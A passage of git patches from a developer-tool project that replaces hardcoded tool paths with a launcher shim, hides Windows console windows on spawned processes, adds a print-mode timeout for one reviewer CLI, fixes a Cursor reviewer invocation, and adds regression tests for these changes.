update . \ && cp graphify-out/graph.json .planning/graphs/graph.json \ && { [ -f graphify-out/graph.html ] && cp graphify-out/graph.html .planning/graphs/graph.html || true; } \ && cp graphify-out/GRAPH_REPORT.md .planning/graphs/GRAPH_REPORT.md \ - && node "$HOME/.claude/gsd-core/bin/gsd-tools.cjs" graphify build snapshot \ - && node "$HOME/.claude/gsd-core/bin/gsd-tools.cjs" graphify status + && gsd_run graphify build snapshot \ + && gsd_run graphify status ``` Do NOT pass `run_in_background: true`. Typical builds complete in 15-60 seconds and the entire chain must run foreground. diff --git a/commands/gsd/import.md b/commands/gsd/import.md index b9c1370e4..2012bdbcf 100644 --- a/commands/gsd/import.md +++ b/commands/gsd/import.md @@ -33,8 +33,12 @@ $ARGUMENTS If `--from-gsd2` is in $ARGUMENTS: -Run: `node "$HOME/.claude/gsd-core/bin/gsd-tools.cjs" from-gsd2` -Pass `--path ` if provided. Present the migration result to the user. +Run the reverse-migration (append `--path ` if provided): +```bash +_GSD_SHIM_NAME="gsd-tools.cjs"; _GSD_RUNTIME_ROOT="${RUNTIME_DIR:-$(git rev-parse --show-toplevel 2>/dev/null || pwd)}"; GSD_TOOLS="${_GSD_RUNTIME_ROOT}/gsd-core/bin/${_GSD_SHIM_NAME}"; if [ -f "$GSD_TOOLS" ]; then gsd_run() { node "$GSD_TOOLS" "$@"; }; elif [ -f "${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; elif command -v gsd-tools >/dev/null 2>&1; then GSD_TOOLS="$(command -v gsd-tools)"; gsd_run() { "$GSD_TOOLS" "$@"; }; elif [ -f "$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; else echo "ERROR: gsd-tools.cjs not found at $GSD_TOOLS and gsd-tools is not on PATH. Run: npx -y @opengsd/gsd-core@latest --claude --local" >&2; exit 1; fi +gsd_run from-gsd2 +``` +Present the migration result to the user. Stop here (do not run the standard import workflow). Otherwise, execute the import workflow end-to-end. diff --git a/docs/INVENTORY-MANIFEST.json b/docs/INVENTORY-MANIFEST.json index 64303c715..5953c397f 100644 --- a/docs/INVENTORY-MANIFEST.json +++ b/docs/INVENTORY-MANIFEST.json @@ -1,5 +1,5 @@ { - "generated": "2026-06-02", + "generated": "2026-06-05", "families": { "agents": [ "gsd-advisor-researcher", @@ -227,6 +227,7 @@ "planner-graphify-auto-update.md", "planner-human-verify-mode.md", "planner-interface-context.md", + "planner-load-graph-context.md", "planner-mvp-mode.md", "planner-reviews.md", "planner-revision.md", diff --git a/docs/INVENTORY.md b/docs/INVENTORY.md index 3f059653a..122e143ba 100644 --- a/docs/INVENTORY.md +++ b/docs/INVENTORY.md @@ -264,7 +264,7 @@ Full roster at `gsd-core/workflows/*.md`. Workflows are thin orchestrators that --- -## References (63 shipped) +## References (64 shipped) Full roster at `gsd-core/references/*.md`. References are shared knowledge documents that workflows and agents `@-reference`. The groupings below match [`docs/ARCHITECTURE.md`](ARCHITECTURE.md#references-gsd-corereferencesmd) — core, workflow, thinking-model clusters, and the modular planner decomposition. @@ -358,6 +358,7 @@ The `gsd-planner` agent is decomposed into a core agent plus reference modules t | `planner-human-verify-mode.md` | Rules for `workflow.human_verify_mode = end-of-phase`: suppress `checkpoint:human-verify` task emission and route deferred items via ``. | | `planner-graphify-auto-update.md` | How `load_graph_context` surfaces `.last-build-status.json` auto-update state (running / failed / stale head) alongside the existing staleness annotation. Opt-in via `graphify.auto_update` (#3347). | | `planner-interface-context.md` | Interface context rules for executors — how to extract key interfaces/types/exports from existing code and document new interfaces that downstream plans will consume. | +| `planner-load-graph-context.md` | Planner's load_graph_context step: knowledge-graph freshness + dependency-context query via the gsd_run launcher (extracted from gsd-planner.md). | | `skeleton-template.md` | SKELETON.md template emitted for new-project Walking Skeleton (Phase 1 + `--mvp`). | | `user-story-template.md` | User story format for MVP planning — "As a / I want to / So that" structured fields. | | `spidr-splitting.md` | SPIDR splitting decomposition rules for handling large user stories in MVP mode. | diff --git a/gsd-core/references/planner-load-graph-context.md b/gsd-core/references/planner-load-graph-context.md new file mode 100644 index 000000000..74f0fe5c4 --- /dev/null +++ b/gsd-core/references/planner-load-graph-context.md @@ -0,0 +1,36 @@ +# Planner — Load Graph Context + +> Loaded by `gsd-planner` at the `load_graph_context` step. + +Check for knowledge graph: + +```bash +ls .planning/graphs/graph.json 2>/dev/null +``` + +If graph.json exists, check freshness: + +```bash +_GSD_SHIM_NAME="gsd-tools.cjs"; _GSD_RUNTIME_ROOT="${RUNTIME_DIR:-$(git rev-parse --show-toplevel 2>/dev/null || pwd)}"; GSD_TOOLS="${_GSD_RUNTIME_ROOT}/gsd-core/bin/${_GSD_SHIM_NAME}"; if [ -f "$GSD_TOOLS" ]; then gsd_run() { node "$GSD_TOOLS" "$@"; }; elif [ -f "${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="${_GSD_RUNTIME_ROOT}/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; elif command -v gsd-tools >/dev/null 2>&1; then GSD_TOOLS="$(command -v gsd-tools)"; gsd_run() { "$GSD_TOOLS" "$@"; }; elif [ -f "$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}" ]; then GSD_TOOLS="$HOME/.claude/gsd-core/bin/${_GSD_SHIM_NAME}"; gsd_run() { node "$GSD_TOOLS" "$@"; }; else echo "ERROR: gsd-tools.cjs not found at $GSD_TOOLS and gsd-tools is not on PATH. Run: npx -y @opengsd/gsd-core@latest --claude --local" >&2; exit 1; fi +gsd_run graphify status +``` + +If the status response has `stale: true`, note for later: "Graph is {age_hours}h old -- treat semantic relationships as approximate." Include this annotation inline with any graph context injected below. + +Query the graph for phase-relevant dependency context (single query per D-06): + +```bash +gsd_run graphify query "" --budget 2000 +``` + +Use the keyword that best captures the phase goal. Examples: +- Phase "User Authentication" -> query term "auth" +- Phase "Payment Integration" -> query term "payment" +- Phase "Database Migration" -> query term "migration" + +If the query returns nodes and edges, incorporate as dependency context for planning: +- Which modules/files are semantically related to this phase's domain +- Which subsystems may be affected by changes in this phase +- Cross-document relationships that inform task ordering and wave structure + +If no results or graph.json absent, continue without graph context. diff --git a/tests/bug-622-graphify-optional-graph-html.test.cjs b/tests/bug-622-graphify-optional-graph-html.test.cjs index ad71f0877..a3a206a5e 100644 --- a/tests/bug-622-graphify-optional-graph-html.test.cjs +++ b/tests/bug-622-graphify-optional-graph-html.test.cjs @@ -41,8 +41,9 @@ const GRAPHIFY_MD = path.join(__dirname, '..', 'commands', 'gsd', 'graphify.md') */ function extractStep3Block() { const content = fs.readFileSync(GRAPHIFY_MD, 'utf-8'); - // Capture from the `graphify update .` line through the next closing ``` fence. - const match = content.match(/```bash\r?\n(graphify update \.[^\0]*?)```/); + // Capture the full body of the ```bash fence that CONTAINS `graphify update .` + // (including any leading preamble line), without crossing into other fences. + const match = content.match(/```bash\r?\n((?:(?!```)[\s\S])*?graphify update \.(?:(?!```)[\s\S])*?)\r?\n```/); return match ? match[1].trim() : null; } diff --git a/tests/graphify-visualization.test.cjs b/tests/graphify-visualization.test.cjs index f6d77bf9c..ee0a7aad4 100644 --- a/tests/graphify-visualization.test.cjs +++ b/tests/graphify-visualization.test.cjs @@ -469,8 +469,8 @@ describe('regressions', () => { 'a bash code block must invoke `graphify update .`' ); assert.ok( - bashBlocks.some(b => /gsd-tools\.cjs["']?\s+graphify build snapshot/.test(b.content)), - 'a bash code block must invoke `gsd-tools.cjs graphify build snapshot`' + bashBlocks.some(b => /gsd_run\s+graphify build snapshot/.test(b.content)), + 'a bash code block must invoke `gsd_run graphify build snapshot`' ); }); diff --git a/tests/no-hardcoded-home-gsd-tools.test.cjs b/tests/no-hardcoded-home-gsd-tools.test.cjs new file mode 100644 index 000000000..637853a5b --- /dev/null +++ b/tests/no-hardcoded-home-gsd-tools.test.cjs @@ -0,0 +1,121 @@ +// allow-test-rule: source-text-is-the-product +'use strict'; + +const { test } = require('node:test'); +const assert = require('node:assert/strict'); +const fs = require('node:fs'); +const path = require('node:path'); + +const ROOT = path.resolve(__dirname, '..'); +const SCAN_DIRS = ['agents', 'commands', path.join('gsd-core', 'references')]; + +// Fix #3: broaden to catch backtick-delimited and split-quoted forms. +// Matches: node ($HOME|${HOME}|~) gsd-tools.cjs +// PREAMBLE_SKIP_RE is still applied before this to exclude preamble lines. +const HARDCODED_RE = /node\s+[`"']?(?:\$HOME|\$\{HOME\}|~)[^\n]*?gsd-tools\.cjs/; +const PREAMBLE_SKIP_RE = /_GSD_SHIM_NAME|GSD_TOOLS=|\[ -f/; + +function collectMdFiles(dir) { + const results = []; + const entries = fs.readdirSync(dir, { withFileTypes: true }); + for (const entry of entries) { + const full = path.join(dir, entry.name); + if (entry.isDirectory()) { + results.push(...collectMdFiles(full)); + } else if (entry.isFile() && entry.name.endsWith('.md')) { + results.push(full); + } + } + return results; +} + +function extractBashBlocks(filePath) { + const content = fs.readFileSync(filePath, 'utf8'); + const lines = content.split(/\r?\n/); + const blocks = []; + let inBash = false; + let blockLines = []; + let blockStart = 0; + + for (let i = 0; i < lines.length; i++) { + const line = lines[i]; + if (!inBash) { + // Fix #1: match bash/sh as the language tag regardless of any trailing info string. + if (/^```(?:bash|sh)(?:\s.*)?$/.test(line)) { + inBash = true; + blockLines = []; + blockStart = i + 1; + } + // Plain ``` fences (no language) are ignored + } else { + if (/^```\s*$/.test(line)) { + blocks.push({ lines: blockLines, startLine: blockStart }); + inBash = false; + blockLines = []; + } else { + blockLines.push({ text: line, lineNum: i + 1 }); + } + } + } + + // Fix #2: if file ends while still inside a bash block, push the accumulated block. + if (inBash && blockLines.length > 0) { + blocks.push({ lines: blockLines, startLine: blockStart }); + } + + return blocks; +} + +// Fix #4: scan returns per-directory block counts so we can assert each dir contributed. +function scanAll() { + const violations = []; + const perDirCounts = {}; + + for (const dir of SCAN_DIRS) { + const absDir = path.join(ROOT, dir); + perDirCounts[dir] = { exists: fs.existsSync(absDir), bashBlockCount: 0 }; + if (!perDirCounts[dir].exists) continue; + const files = collectMdFiles(absDir); + for (const file of files) { + const blocks = extractBashBlocks(file); + perDirCounts[dir].bashBlockCount += blocks.length; + const relPath = path.relative(ROOT, file).replace(/\\/g, '/'); + for (const block of blocks) { + for (const { text, lineNum } of block.lines) { + if (HARDCODED_RE.test(text) && !PREAMBLE_SKIP_RE.test(text)) { + violations.push(`${relPath}:${lineNum}: ${text.trim()}`); + } + } + } + } + } + + return { violations, perDirCounts }; +} + +test('no hardcoded $HOME gsd-tools.cjs in bash blocks of agents/, commands/, and gsd-core/references/', () => { + const { violations } = scanAll(); + assert.equal( + violations.length, + 0, + `Found ${violations.length} hardcoded invocation(s):\n${violations.join('\n')}` + ); +}); + +// Fix #4: per-directory floor — each scan dir must exist and contribute >= 1 bash block. +test('each scan dir (agents/, commands/, gsd-core/references/) exists and contains at least one bash block', () => { + const { perDirCounts } = scanAll(); + const failures = []; + for (const [dir, { exists, bashBlockCount }] of Object.entries(perDirCounts)) { + if (!exists) { + failures.push(` ${dir}/: directory does not exist`); + } else if (bashBlockCount < 1) { + failures.push(` ${dir}/: exists but contains 0 bash blocks`); + } + } + assert.equal( + failures.length, + 0, + `Per-directory bash-block floor failed:\n${failures.join('\n')}\nCheck that each scan dir is non-empty and contains bash fences.` + ); +}); From 10f6981743f287ac8acca48eecb378f163f69e2c Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Fri, 5 Jun 2026 10:35:22 -0400 Subject: [PATCH 13/94] fix(#685): set windowsHide on all Windows child-process spawns (#688) * fix(#685): set windowsHide on all Windows child-process spawns A visible "gsd-core" console window flashed on Windows whenever a gsd-core child process spawned without `windowsHide: true`. The most visible offenders fire on every SessionStart / `/clear` (execNpm's `shell:true` npm view via the update-check worker) and on every Edit/Write/MultiEdit in a worktree (the worktree-path guard's git probe). Add `windowsHide: true` to every external-binary spawn in the runtime source: - hooks/gsd-context-monitor.js (record-session spawn) - hooks/gsd-worktree-path-guard.js (SPAWNOPT) - hooks/gsd-workflow-guard.js (git branch --show-current) - src/shell-command-projection.cts (execGit / execNpm / execTool) - src/check-command-router.cts (git log execFileSync) - src/roadmap-upgrade.cts (git status/rev-parse/reset/clean execSync) gsd-check-update.js already had it (the precedent). probeTty's tty call is POSIX-only and intentionally untouched. Adds a regression test that asserts each site plus a repo-wide completeness guard so a future external-binary spawn that omits windowsHide fails CI. No behavior change off-Windows. Closes #685 Co-Authored-By: Claude Opus 4.8 * chore(#685): set changeset pr number to 688 Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 --- .changeset/685-windowshide-spawn.md | 5 ++ hooks/gsd-context-monitor.js | 2 +- hooks/gsd-workflow-guard.js | 1 + hooks/gsd-worktree-path-guard.js | 2 +- src/check-command-router.cts | 1 + src/roadmap-upgrade.cts | 8 +- src/shell-command-projection.cts | 3 + tests/bug-685-windowshide-spawn.test.cjs | 99 ++++++++++++++++++++++++ 8 files changed, 115 insertions(+), 6 deletions(-) create mode 100644 .changeset/685-windowshide-spawn.md create mode 100644 tests/bug-685-windowshide-spawn.test.cjs diff --git a/.changeset/685-windowshide-spawn.md b/.changeset/685-windowshide-spawn.md new file mode 100644 index 000000000..997c18019 --- /dev/null +++ b/.changeset/685-windowshide-spawn.md @@ -0,0 +1,5 @@ +--- +type: Fixed +pr: 688 +--- +**No more "gsd-core" console-window flash on Windows.** Every gsd-core child process now passes `windowsHide: true`: the context monitor's `record-session` spawn, the `execGit` / `execNpm` / `execTool` helpers in `shell-command-projection`, the `gsd-worktree-path-guard` and `gsd-workflow-guard` hook git probes, `check-command-router`'s `git log` call, and the `roadmap-upgrade` git status/rev-parse/reset/clean calls — matching the existing `gsd-check-update` spawn. `execNpm` (which uses `shell: true` → `cmd.exe` and runs on every SessionStart, i.e. every `/clear`) and the worktree-path guard (which runs on every Edit/Write in a worktree) were the most visible offenders. No behavior change on macOS/Linux, where the flag is ignored. diff --git a/hooks/gsd-context-monitor.js b/hooks/gsd-context-monitor.js index 3f6f4fbf3..5aa93f67f 100644 --- a/hooks/gsd-context-monitor.js +++ b/hooks/gsd-context-monitor.js @@ -150,7 +150,7 @@ process.stdin.on('end', () => { spawn( process.execPath, [gsdTools, 'state', 'record-session', '--stopped-at', stoppedAt], - { cwd, detached: true, stdio: 'ignore' } + { cwd, detached: true, stdio: 'ignore', windowsHide: true } ).unref(); warnData.criticalRecorded = true; // Persist the sentinel so subsequent debounce cycles don't re-fire diff --git a/hooks/gsd-workflow-guard.js b/hooks/gsd-workflow-guard.js index e786c6e8b..7d4d684bf 100644 --- a/hooks/gsd-workflow-guard.js +++ b/hooks/gsd-workflow-guard.js @@ -61,6 +61,7 @@ function currentBranch(cwd) { cwd, encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'], + windowsHide: true, }); if (result.status !== 0) return ''; return result.stdout.trim(); diff --git a/hooks/gsd-worktree-path-guard.js b/hooks/gsd-worktree-path-guard.js index 2f8add19f..e0160c920 100644 --- a/hooks/gsd-worktree-path-guard.js +++ b/hooks/gsd-worktree-path-guard.js @@ -18,7 +18,7 @@ const fs = require('fs'); const path = require('path'); const { spawnSync } = require('child_process'); -const SPAWNOPT = { encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'], timeout: 2000 }; +const SPAWNOPT = { encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'], timeout: 2000, windowsHide: true }; function git(args, cwd) { return spawnSync('git', args, { ...SPAWNOPT, cwd }); diff --git a/src/check-command-router.cts b/src/check-command-router.cts index b63157b80..d7b8c7e86 100644 --- a/src/check-command-router.cts +++ b/src/check-command-router.cts @@ -253,6 +253,7 @@ function recentCommitMessages(projectDir: string): string { cwd: projectDir, encoding: 'utf-8', maxBuffer: 4 * 1024 * 1024, + windowsHide: true, }); } catch { return ''; diff --git a/src/roadmap-upgrade.cts b/src/roadmap-upgrade.cts index 81a517e52..cf091d3b5 100644 --- a/src/roadmap-upgrade.cts +++ b/src/roadmap-upgrade.cts @@ -497,7 +497,7 @@ function applyMigration(cwd: string, plan: MigrationPlan, options: { dryRun?: bo // ── Real run: verify clean working tree ─────────────────────────────────── let gitStatus: string; try { - gitStatus = execSync('git status --porcelain', { cwd, encoding: 'utf8' }); + gitStatus = execSync('git status --porcelain', { cwd, encoding: 'utf8', windowsHide: true }); } catch (err) { throw new Error(`git status failed: ${(err as Error).message}`); } @@ -508,7 +508,7 @@ function applyMigration(cwd: string, plan: MigrationPlan, options: { dryRun?: bo // Capture HEAD sha for rollback let headSha: string; try { - headSha = execSync('git rev-parse HEAD', { cwd, encoding: 'utf8' }).trim(); + headSha = execSync('git rev-parse HEAD', { cwd, encoding: 'utf8', windowsHide: true }).trim(); } catch (err) { throw new Error(`git rev-parse HEAD failed: ${(err as Error).message}`); } @@ -592,8 +592,8 @@ function applyMigration(cwd: string, plan: MigrationPlan, options: { dryRun?: bo } catch (err) { // Rollback via git reset --hard + git clean try { - execSync(`git reset --hard ${headSha}`, { cwd, stdio: 'pipe' }); - execSync('git clean -fd .planning/phases/', { cwd, stdio: 'pipe' }); + execSync(`git reset --hard ${headSha}`, { cwd, stdio: 'pipe', windowsHide: true }); + execSync('git clean -fd .planning/phases/', { cwd, stdio: 'pipe', windowsHide: true }); } catch { // Swallow rollback errors — surface original error } diff --git a/src/shell-command-projection.cts b/src/shell-command-projection.cts index 9e749dd3a..ef2dad366 100644 --- a/src/shell-command-projection.cts +++ b/src/shell-command-projection.cts @@ -427,6 +427,7 @@ export function execGit(args: string[], opts: { cwd?: string; env?: Record fs.readFileSync(path.join(root, p), 'utf-8'); + +// Slice the exact body of one spawn site so the assertion binds that site, +// not merely "windowsHide appears somewhere in the file". +function regionBetween(src, startAnchor, endAnchor) { + const i = src.indexOf(startAnchor); + assert.notEqual(i, -1, `start anchor not found: ${startAnchor}`); + const j = src.indexOf(endAnchor, i); + assert.notEqual(j, -1, `end anchor not found after start: ${endAnchor}`); + return src.slice(i, j); +} + +describe('bug #685: Windows spawns must set windowsHide:true (no console-window flash)', () => { + test('gsd-context-monitor record-session spawn sets windowsHide', () => { + const region = regionBetween(read('hooks/gsd-context-monitor.js'), "'record-session'", '.unref()'); + assert.match(region, /windowsHide:\s*true/, 'record-session spawn must set windowsHide: true'); + }); + + const cts = () => read('src/shell-command-projection.cts'); + const helpers = [ + ['execGit', 'export function execGit', "_spawnResult(result, 'git')"], + ['execNpm', 'export function execNpm', "_spawnResult(result, 'npm')"], + ['execTool', 'export function execTool', '_spawnResult(result, program)'], + ]; + for (const [name, start, end] of helpers) { + test(`shell-command-projection ${name} spawnSync sets windowsHide`, () => { + const region = regionBetween(cts(), start, end); + assert.match(region, /windowsHide:\s*true/, `${name} spawnSync must set windowsHide: true`); + }); + } + + test('gsd-worktree-path-guard SPAWNOPT sets windowsHide', () => { + const region = regionBetween(read('hooks/gsd-worktree-path-guard.js'), 'const SPAWNOPT', '};'); + assert.match(region, /windowsHide:\s*true/, 'gsd-worktree-path-guard SPAWNOPT must set windowsHide: true'); + }); + + test('gsd-workflow-guard currentBranch spawnSync sets windowsHide', () => { + const region = regionBetween(read('hooks/gsd-workflow-guard.js'), "spawnSync('git', ['branch'", '});'); + assert.match(region, /windowsHide:\s*true/, 'gsd-workflow-guard git-branch spawn must set windowsHide: true'); + }); + + test('check-command-router recentCommitMessages execFileSync sets windowsHide', () => { + const region = regionBetween(read('src/check-command-router.cts'), "execFileSync('git', ['log'", '});'); + assert.match(region, /windowsHide:\s*true/, 'check-command-router git-log execFileSync must set windowsHide: true'); + }); + + test('roadmap-upgrade execSync git calls all set windowsHide', () => { + const src = read('src/roadmap-upgrade.cts'); + const calls = src.match(/execSync\([^)]*\)/g) || []; + assert.ok(calls.length >= 4, 'expected the roadmap-upgrade git execSync calls to be present'); + const missing = calls.filter((c) => !/windowsHide:\s*true/.test(c)); + assert.deepEqual(missing, [], `execSync without windowsHide:\n${missing.join('\n')}`); + }); + + test('gsd-check-update spawn retains windowsHide (precedent guard)', () => { + assert.match(read('hooks/gsd-check-update.js'), /windowsHide:\s*true/, + 'gsd-check-update.js must keep windowsHide: true'); + }); + + // Durable invariant: ANY external-binary process spawn in the runtime source + // (hooks + src) must set windowsHide — catches future additions, not just the + // sites known today. Handles the `{ ...CONST }` spread indirection. + test('completeness: no external-binary spawn in runtime source omits windowsHide', () => { + const listDir = (dir, re) => + fs.readdirSync(path.join(root, dir)).filter((f) => re.test(f)).map((f) => `${dir}/${f}`); + const files = [...listDir('hooks', /\.js$/), ...listDir('src', /\.cts$/)]; + const callRe = /(?:execSync|execFileSync|spawnSync|spawn)\s*\(\s*(?:`|'|")?(?:git|npm|gh)\b|spawn\s*\(\s*process\.execPath/g; + const offenders = []; + for (const rel of files) { + const src = read(rel); + let m; + while ((m = callRe.exec(src)) !== null) { + const win = src.slice(m.index, m.index + 400); + let ok = /windowsHide:\s*true/.test(win); + if (!ok) { + const spread = win.match(/\{\s*\.\.\.(\w+)/); // e.g. { ...SPAWNOPT, cwd } + if (spread) { + ok = new RegExp(`(?:const|let|var)\\s+${spread[1]}\\s*=\\s*\\{[^}]*windowsHide:\\s*true`).test(src); + } + } + if (!ok) offenders.push(`${rel}: ...${src.slice(m.index, m.index + 48).replace(/\s+/g, ' ')}`); + } + } + assert.deepEqual(offenders, [], `external-binary spawns missing windowsHide:\n${offenders.join('\n')}`); + }); +}); From afe61f015c6866ba240bbab5372bc7720c1b542b Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Fri, 5 Jun 2026 10:35:27 -0400 Subject: [PATCH 14/94] fix(#687): bound agy print mode with its native --print-timeout (#689) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `/gsd-review --agy` hung indefinitely on large prompts. agy's print mode runs the full tool-enabled agent, and on a big, file-path-rich prompt its agentic Cascade loops on the code_search/grep tool and never converges; the transcript fallback only runs after agy exits, so it can't recover a run that never exits. The agy CLI exposes no per-tool deny (that lives in the Antigravity SDK), but it does expose --print-timeout — agy's native print-mode cap. Pass it explicitly so a stalled run self-terminates through the tool's own mechanism; a non-zero exit discards any partial output so the existing transcript fallback / "review failed" stub take over. Adds a regression test. Closes #687 Co-authored-by: Claude Opus 4.8 --- .changeset/687-agy-print-timeout.md | 5 ++++ gsd-core/workflows/review.md | 15 ++++++++-- tests/bug-687-agy-timeout.test.cjs | 45 +++++++++++++++++++++++++++++ 3 files changed, 63 insertions(+), 2 deletions(-) create mode 100644 .changeset/687-agy-print-timeout.md create mode 100644 tests/bug-687-agy-timeout.test.cjs diff --git a/.changeset/687-agy-print-timeout.md b/.changeset/687-agy-print-timeout.md new file mode 100644 index 000000000..ea9f4eb48 --- /dev/null +++ b/.changeset/687-agy-print-timeout.md @@ -0,0 +1,5 @@ +--- +type: Fixed +pr: 689 +--- +**`/gsd-review --agy` no longer hangs the whole review on large prompts.** On a big, file-path-rich prompt Antigravity's `agy -p` agentic Cascade can loop on its `code_search`/grep steps and never converge. The invocation now passes agy's own `--print-timeout` flag (its native print-mode cap) so a stalled run self-terminates through the tool's own mechanism; on a non-zero exit any partial output is discarded so the existing transcript fallback / "review failed" stub take over. diff --git a/gsd-core/workflows/review.md b/gsd-core/workflows/review.md index 58edb986c..123da933c 100644 --- a/gsd-core/workflows/review.md +++ b/gsd-core/workflows/review.md @@ -350,8 +350,19 @@ if [ -f "$_AGY_CACHE" ]; then fi fi -# Step 1 — primary invocation: stdout works on macOS, Linux, and WSL -agy -p "$(cat /tmp/gsd-review-prompt-{phase}.md)" 2>/dev/null > /tmp/gsd-review-antigravity-{phase}.md +# Step 1 — primary invocation: stdout works on macOS, Linux, and WSL. +# Bound the run with agy's OWN `--print-timeout` (issue #687). On a large, +# file-path-rich prompt agy's agentic Cascade can loop on its code_search/grep +# steps and never converge; `--print-timeout` is agy's native cap for print mode +# (defaults to 5m — see maintainer note above), so we pass it explicitly to let a +# stalled run self-terminate through the tool's own mechanism. A non-zero exit +# (timeout or crash) discards any partial output so the Step 2 transcript fallback +# / Step 3 stub take over. +agy --print-timeout 300s -p "$(cat /tmp/gsd-review-prompt-{phase}.md)" 2>/dev/null > /tmp/gsd-review-antigravity-{phase}.md +_AGY_RC=$? +if [ "$_AGY_RC" -ne 0 ]; then + : > /tmp/gsd-review-antigravity-{phase}.md +fi # Step 2 — transcript fallback: catches Windows agy -p stdout bug (and any future stdout-silent edge cases). # Reads only lines appended AFTER the pre-flight watermark. If agy failed before writing a new response, diff --git a/tests/bug-687-agy-timeout.test.cjs b/tests/bug-687-agy-timeout.test.cjs new file mode 100644 index 000000000..e75711d67 --- /dev/null +++ b/tests/bug-687-agy-timeout.test.cjs @@ -0,0 +1,45 @@ +// allow-test-rule: source-text-is-the-product +// review.md is a workflow file whose deployed text IS the runtime contract; the +// agy -p invocation cannot be run in CI, so we assert on its content (issue #687). +'use strict'; + +const { describe, test } = require('node:test'); +const assert = require('node:assert/strict'); +const fs = require('node:fs'); +const path = require('node:path'); + +const reviewPath = path.resolve(__dirname, '..', 'gsd-core', 'workflows', 'review.md'); +const read = () => fs.readFileSync(reviewPath, 'utf-8'); + +describe('bug #687: agy print mode must be bounded via its native --print-timeout', () => { + test('invokes agy with its own --print-timeout flag (not an external killer)', () => { + assert.match(read(), /agy --print-timeout \d+s? -p "\$\(cat/, + 'review.md must cap agy through `agy --print-timeout -p …` (the tool\'s own mechanism)'); + }); + + test('discards partial output on non-zero exit so the fallback fires', () => { + const c = read(); + assert.match(c, /_AGY_RC.*-ne 0/, 'review.md must check the agy exit code'); + assert.match(c, /: > \/tmp\/gsd-review-antigravity-/, + 'review.md must truncate the output file when agy timed out / failed'); + }); + + test('agy is bounded only by its own --print-timeout, not an external process killer', () => { + const c = read(); + // Print-mode reviewers invoke the tool directly; agy must self-terminate via + // --print-timeout, never via an external SIGKILL/timeout binary wrapped around it. + assert.doesNotMatch(c, /-s KILL/, 'must not SIGKILL agy from the outside'); + // Any external timeout binary wrapping agy — `timeout 300s agy …`, + // `gtimeout 300 agy …`, `timeout -s KILL 300 agy …`. The lookbehind keeps + // agy's own `--print-timeout` flag from tripping it. + assert.doesNotMatch(c, /(? { + // A bare `agy -p "$(cat …)"` with no cap was the original hang. + assert.doesNotMatch(read(), /^agy -p "\$\(cat/m, + 'review.md must not invoke agy -p without --print-timeout'); + }); +}); From ecc42cefc6220c2a4d43d5f41bda9262269c7e9d Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Fri, 5 Jun 2026 10:36:19 -0400 Subject: [PATCH 15/94] fix(#669): /gsd-review --cursor actually invokes cursor-agent (#686) * fix(#669): /gsd-review --cursor actually invokes cursor-agent The Cursor reviewer branch in review.md never ran the agent: - detection probed `cursor` (the IDE launcher) instead of the headless `cursor-agent` binary - the invocation used the two-token `cursor agent` (the IDE treats `agent` as a file-path argument, so the agent never starts) - the prompt was piped via stdin, but `cursor-agent -p` reads the prompt from a command-line argument, and `2>/dev/null` hid the empty result Probe `cursor-agent`; invoke `cursor-agent -p --mode ask --trust --output-format text` with the prompt passed as a file-path-reference argument (avoids the OS arg-length limit on large prompts); capture stderr so failures are diagnosable. Invert tests/cursor-reviewer.test.cjs to assert the corrected contract, with negative guards against the two-token form and the stdin pipe. The sibling `agy` reviewer already used the argument form. Closes #669 Co-Authored-By: Claude Opus 4.8 * chore(#669): set changeset pr number to 686 Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 --- .changeset/669-gsd-review-cursor-agent.md | 5 +++ gsd-core/workflows/review.md | 12 ++++-- tests/cursor-reviewer.test.cjs | 48 ++++++++++++++++++++--- 3 files changed, 56 insertions(+), 9 deletions(-) create mode 100644 .changeset/669-gsd-review-cursor-agent.md diff --git a/.changeset/669-gsd-review-cursor-agent.md b/.changeset/669-gsd-review-cursor-agent.md new file mode 100644 index 000000000..3a3ac40ba --- /dev/null +++ b/.changeset/669-gsd-review-cursor-agent.md @@ -0,0 +1,5 @@ +--- +type: Fixed +pr: 686 +--- +`/gsd-review --cursor` now actually invokes the Cursor agent. Detection probes the `cursor-agent` headless binary instead of the `cursor` IDE launcher, the invocation calls the single `cursor-agent` binary in print mode (not the two-token `cursor agent`, which the IDE treats as a file path), and the review prompt is passed as a file-path argument rather than piped to stdin (which `cursor-agent -p` ignores). On failure the captured stderr is surfaced instead of a silent empty result. diff --git a/gsd-core/workflows/review.md b/gsd-core/workflows/review.md index 123da933c..7c5ed8922 100644 --- a/gsd-core/workflows/review.md +++ b/gsd-core/workflows/review.md @@ -22,7 +22,7 @@ command -v codex >/dev/null 2>&1 && echo "codex:available" || echo "codex:missin command -v coderabbit >/dev/null 2>&1 && echo "coderabbit:available" || echo "coderabbit:missing" command -v opencode >/dev/null 2>&1 && echo "opencode:available" || echo "opencode:missing" command -v qwen >/dev/null 2>&1 && echo "qwen:available" || echo "qwen:missing" -command -v cursor >/dev/null 2>&1 && echo "cursor:available" || echo "cursor:missing" +command -v cursor-agent >/dev/null 2>&1 && echo "cursor:available" || echo "cursor:missing" command -v agy >/dev/null 2>&1 && echo "antigravity:available" || echo "antigravity:missing" # Check local model servers (OpenAI-compatible HTTP API — no CLI binary required) @@ -284,9 +284,15 @@ fi **Cursor:** ```bash -cat /tmp/gsd-review-prompt-{phase}.md | cursor agent -p --mode 